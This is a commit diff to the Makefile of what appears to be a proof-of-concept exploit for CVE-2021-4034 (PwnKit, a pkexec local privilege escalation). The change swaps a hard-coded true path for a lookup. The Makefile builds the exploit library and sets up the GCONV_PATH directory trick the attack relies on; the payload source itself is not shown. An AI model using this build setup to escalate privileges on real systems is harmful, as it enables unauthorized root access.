Using which instead of persist (close #1)
This commit is contained in:
parent
1ce69aed71
commit
75bcfe56e8
3
Makefile
3
Makefile
@ -1,4 +1,5 @@
|
|||||||
CFLAGS=-Wall
|
CFLAGS=-Wall
|
||||||
|
TRUE=$(shell which true)
|
||||||
|
|
||||||
.PHONY: all
|
.PHONY: all
|
||||||
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath
|
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath
|
||||||
@ -13,7 +14,7 @@ gconv-modules:
|
|||||||
.PHONY: gconvpath
|
.PHONY: gconvpath
|
||||||
gconvpath:
|
gconvpath:
|
||||||
mkdir -p GCONV_PATH=.
|
mkdir -p GCONV_PATH=.
|
||||||
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
|
cp $(TRUE) GCONV_PATH=./pwnkit.so:.
|
||||||
|
|
||||||
pwnkit.so: pwnkit.c
|
pwnkit.so: pwnkit.c
|
||||||
$(CC) $(CFLAGS) --shared -fPIC -o $@ $<
|
$(CC) $(CFLAGS) --shared -fPIC -o $@ $<
|
||||||
|
Loading…
Reference in New Issue
Block a user